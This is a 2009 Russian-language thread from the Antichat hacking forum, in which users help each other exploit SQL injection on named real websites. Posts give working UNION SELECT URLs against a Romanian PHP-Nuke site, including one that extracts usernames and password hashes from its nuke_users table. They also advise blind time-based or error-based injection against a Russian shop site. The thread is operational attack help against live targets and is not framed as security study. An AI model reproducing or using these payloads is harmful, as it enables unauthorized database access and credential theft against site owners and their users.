 |
|
08.06.2009, 08:51
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20&name=Articole&skin=0&subtip=Sti re&tip=jocuri
а дальше PHP Nuke не пускает запросы делать, какие предложения?
|
|
|
08.06.2009, 08:59
|
|
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
С нами:
9095366
Репутация:
298
|
|
http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,@@basedir,1 2,13,14,15,16,17,18,19,20&name=Articole&skin=0&sub tip=Stire&tip=jocuri
/usr/local/mysql/
basedir съело..
|
|
|
|
08.06.2009, 09:18
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
@@basedir, @@version_compile_os....etc
такие запросы сьедает...я про основные и как мне вывести инфу из БД
|
|
|
|
08.06.2009, 09:28
|
|
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами:
9382468
Репутация:
104
|
|
Здравствуйте.Я нашел sql-inj подобрал столбцы http://shop.vuku.ru/index.php?productID=-445+union+select+1,2,3,4-- но почему-то я немогу даже версию узнать бд.В чем моя ошибка?Что оттуда можно вытащить?
Последний раз редактировалось TreV@N; 08.06.2009 в 09:31..
|
|
|
|
08.06.2009, 09:33
|
|
Познающий
Регистрация: 11.02.2009
Сообщений: 98
С нами:
9076508
Репутация:
169
|
|
Сообщение от Gorev
@@basedir, @@version_compile_os....etc
такие запросы сьедает...я про основные и как мне вывести инфу из БД
Код:
http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,username,4,5,6,7,8,9,10,user_password,12,13,14,15,16,17,18,19,20+from+nuke_users+limit+1,1&name=Articole&skin=0&subtip=Stire&tip=jocuri
все вроде нормально выводится, только скобочки нельзя ставить
|
|
|
|
08.06.2009, 09:45
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами:
10226672
Репутация:
441
|
|
Сообщение от TreV@N
Здравствуйте.Я нашел sql-inj подобрал столбцы http://shop.vuku.ru/index.php?productID=-445+union+select+1,2,3,4-- но почему-то я немогу даже версию узнать бд.В чем моя ошибка?Что оттуда можно вытащить?
У тебя там вывода нету...используй как слепую..
http://forum.antichat.ru/threadnav43966-1-10.html
Пункт 3.3
|
|
|
|
08.06.2009, 09:51
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
DimOnOID, а там разве слепая есть?
|
|
|
|
08.06.2009, 09:54
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами:
10226672
Репутация:
441
|
|
Сообщение от mailbrush
DimOnOID, а там разве слепая есть?
Как минимум 2 варианта использования слепой....
с задержкой сервера....или через ошибку мускуля…
|
|
|
|
08.06.2009, 10:04
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Разве, что, но там не не перестает выводить при некорректном запросе. Забавная скуля...
|
|
|
|
08.06.2009, 10:11
|
|
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами:
9382468
Репутация:
104
|
|
Вроде в этом квесте http://realquest.real-host.ru/show.php?id=12' такая же скуля.
|
|
|
|
|
|
|
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Похожие темы
Линейный вид
